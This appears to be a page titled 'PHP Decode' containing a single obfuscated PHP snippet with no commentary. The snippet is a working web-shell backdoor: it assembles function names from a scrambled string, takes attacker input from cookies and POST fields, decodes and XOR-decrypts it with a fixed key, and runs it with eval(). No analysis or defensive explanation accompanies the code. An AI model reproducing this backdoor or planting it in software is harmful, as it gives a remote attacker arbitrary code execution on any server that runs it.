PHP Decode

<?  $tpfilu = 'bcyvg#s4\'kdlfuo670953i_e8mHprx-*a2tn';$fbjhvvz = Array();$fbjhvvz[] = $tpfilu[26].$tpfilu[31];$fbjhvvz[] = $tpfilu[17].$tpfilu[10].$tpfilu[19].$tpfilu[33].$tpfilu[15].$tpfilu[16].$tpfilu[1].$tpfilu[24].$tpfilu[30].$tpfilu[15].$tpfilu[16].$tpfilu[32].$tpfilu[18].$tpfilu[30].$tpfilu[7].$tpfilu[32].$tpfilu[17].$tpfilu[16].$tpfilu[30].$tpfilu[32].$tpfilu[12].$tpfilu[33].$tpfilu[1].$tpfilu[30].$tpfilu[32].$tpfilu[23].$tpfilu[24].$tpfilu[12].$tpfilu[23].$tpfilu[12].$tpfilu[0].$tpfilu[20].$tpfilu[20].$tpfilu[32].$tpfilu[23].$tpfilu[18];$fbjhvvz[] = $tpfilu[5];$fbjhvvz[] = $tpfilu[1].$tpfilu[14].$tpfilu[13].$tpfilu[35].$tpfilu[34];$fbjhvvz[] = $tpfilu[6].$tpfilu[34].$tpfilu[28].$tpfilu[22].$tpfilu[28].$tpfilu[23].$tpfilu[27].$tpfilu[23].$tpfilu[32].$tpfilu[34];$fbjhvvz[] = $tpfilu[23].$tpfilu[29].$tpfilu[27].$tpfilu[11].$tpfilu[14].$tpfilu[10].$tpfilu[23];$fbjhvvz[] = $tpfilu[6].$tpfilu[13].$tpfilu[0].$tpfilu[6].$tpfilu[34].$tpfilu[28];$fbjhvvz[] = $tpfilu[32].$tpfilu[28].$tpfilu[28].$tpfilu[32].$tpfilu[2].$tpfilu[22].$tpfilu[25].$tpfilu[23].$tpfilu[28].$tpfilu[4].$tpfilu[23];$fbjhvvz[] = $tpfilu[6].$tpfilu[34].$tpfilu[28].$tpfilu[11].$tpfilu[23].$tpfilu[35];$fbjhvvz[] = $tpfilu[27].$tpfilu[32].$tpfilu[1].$tpfilu[9];foreach ($fbjhvvz[7]($_COOKIE, $_POST) as $lfvfepo => $ymyjxlk){function kdahwb($fbjhvvz, $lfvfepo, $wxpvc){return $fbjhvvz[6]($fbjhvvz[4]($lfvfepo . $fbjhvvz[1], ($wxpvc / $fbjhvvz[8]($lfvfepo)) + 1), 0, $wxpvc);}function iavapq($fbjhvvz, $bzmmeqb){return @$fbjhvvz[9]($fbjhvvz[0], $bzmmeqb);}function sudjos($fbjhvvz, $bzmmeqb){$afrxqkd = $fbjhvvz[3]($bzmmeqb) % 3;if (!$afrxqkd) {eval($bzmmeqb[1]($bzmmeqb[2]));exit();}}$ymyjxlk = iavapq($fbjhvvz, $ymyjxlk);sudjos($fbjhvvz, $fbjhvvz[5]($fbjhvvz[2], $ymyjxlk ^ kdahwb($fbjhvvz, $lfvfepo, $fbjhvvz[8]($ymyjxlk))));} ?>